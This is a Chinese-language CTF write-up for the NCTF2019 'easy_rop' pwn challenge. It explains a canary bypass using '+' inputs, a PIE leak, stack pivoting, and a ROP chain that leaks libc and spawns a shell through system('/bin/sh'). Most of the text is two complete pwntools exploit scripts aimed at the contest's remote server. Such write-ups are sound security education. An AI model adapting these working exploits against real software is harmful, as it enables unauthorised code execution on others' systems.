(PWN)NCTF2019 -- easy rop -- writeup

easy_rop

链接:https://pan.baidu.com/s/1ohXfpbiIb3jjHpYtcuS9xA
提取码:lz3e

文件防护

在这里插入图片描述

反汇编

反汇编
调试的时候发现main函数的rbp居然是pie,而返回地址下面第四行是main函数自己的头部指针
pie

已知条件

  1. 存在栈溢出,大小为4个栈单元
  2. 开启了canary保护,可以用’+'号绕过
  3. main函数的 rbp 为 pie(基址)
  4. main函数的返回地址下面存在main函数头部指针

解题思路

  1. 使用’+'号绕过canary值
  2. 劫持pie,通过pie和静态偏移得到想要的真实地址
  3. 第一次执行main函数时,迁移rbp指向 unk_201420 - 8 的位置
    rsp指向main函数头部指针,retn后再次执行main函数
  4. 第二次执行main函数时,迁移rsp指向 unk_201420 的位置
  5. 通过main函数的read函数向unk_201420写入rop链,功能:
    1. leak libc,得到版本信息,计算system函数和’/bin/sh’字符串在libc中的偏移
    2. 调用万能gadget,进行任意函数执行,由于leak libc后要进行利用的话需要计算偏移后再次写入rop链,所以这里使用read函数在下方构造system(’/bin/sh’)即可getshell

注意:exp中没有对负数进行处理,可能需要多打几次才行

Leak libc EXP

#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'

elf   = ELF('./easy_rop')

#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)

'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
	r.sendline('+')

#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8  = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40

def send64(num):
	#low  4byte
	if num % 0x100000000 > 0x7fffffff:
		r.sendlineafter(':', str((-1 * num) % 0x100000000))
	else:
		r.sendlineafter(':', str(num % 0x100000000))
	#high 4byte
	r.sendlineafter(':', str(num >> 32))

new_stack      = pie + 0x201420 - 8
pop_rdi_ret    = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret      = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a

#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')

'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
	r.sendline('+')

#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack)	#number 28 & 29 -- rbp
send64(leave_ret)	#number 30 & 31 -- return address
r.sendlineafter('number 32: ','++')  # number 32 & 33

r.recvuntil('name?\n',True)
#leak libc
payload  = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])

r.sendline(payload)
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
print('libc_start_main = ' + hex(libc_start_main))

r.interactive()

leak_libc
通过后三位偏移,使用在线网站libc database search搜索libc版本
libc_database_search

Getshell EXP

本地一直无法成功,连上服务器能够成功getshell,暂时未定位到问题所在

#-*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'

elf   = ELF('./easy_rop')

#r = process('./easy_rop')
r = remote('139.129.76.65', 50002)

'''first main'''
r.recvuntil('number 0: ')
#bypass canary
for i in range(0,30):
	r.sendline('+')

#get pie
r.recvuntil('number 28 = ')
pie_l8 = int(r.recvuntil('\n',True), 10)
r.recvuntil('number 29 = ')
pie_h8  = int(r.recvuntil('\n',True), 10)
pie = (pie_h8 << 32) + pie_l8 - 0xb40

def send64(num):
	#low  4byte
	if num % 0x100000000 > 0x7fffffff:
		r.sendlineafter(':', str((-1 * num) % 0x100000000))
	else:
		r.sendlineafter(':', str(num % 0x100000000))
	#high 4byte
	r.sendlineafter(':', str(num >> 32))

new_stack      = pie + 0x201420 - 8
pop_rdi_ret    = pie + 0xba3
general_gadget = pie + 0xb80
leave_ret      = pie + 0xb31
pop_rbp_r14_r15_ret = pie + 0xb9f
pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a

#return to main
#the end rsp point to the main
send64(pop_rbp_r14_r15_ret)
#rbp to new stack
send64(new_stack)
r.sendlineafter('name?\n', '1')

'''secend main'''
r.recvuntil('number 0: ')
for i in range(0,28):
	r.sendline('+')

#rsp to new stack
#rbp to new stack-8(pie + 0x201420)
send64(new_stack)	#number 28 & 29 -- rbp
send64(leave_ret)	#number 30 & 31 -- return address
r.sendlineafter('number 32: ','++')  # number 32 & 33

r.recvuntil('name?\n',True)
#leak libc
payload  = p64(pop_rdi_ret)
payload += p64(pie + elf.got['__libc_start_main'])
payload += p64(pie + elf.plt['puts'])

#general gadget
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
#          0        1        function                     parameter3   parameter2           parameter1
payload += p64(0) + p64(1) + p64(pie + elf.got['read']) + p64(0x666) + p64(new_stack + 8) + p64(0)
payload += p64(general_gadget) #general gadget address

r.sendline(payload)
#get libc_start_main
libc_start_main = u64(r.recv(6).ljust(8, '\x00'))
#print('libc_start_main = ' + hex(libc_start_main))
system_addr = libc_start_main + 0x24c50
bin_sh      = libc_start_main + 0x16c617

payload  = 'a'*80		#rsp offset
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_addr)

r.sendline(payload)
r.interactive()
发布了45 篇原创文章 · 获赞 2 · 访问量 1833

猜你喜欢

转载自blog.csdn.net/qq_41988448/article/details/103273612
ROP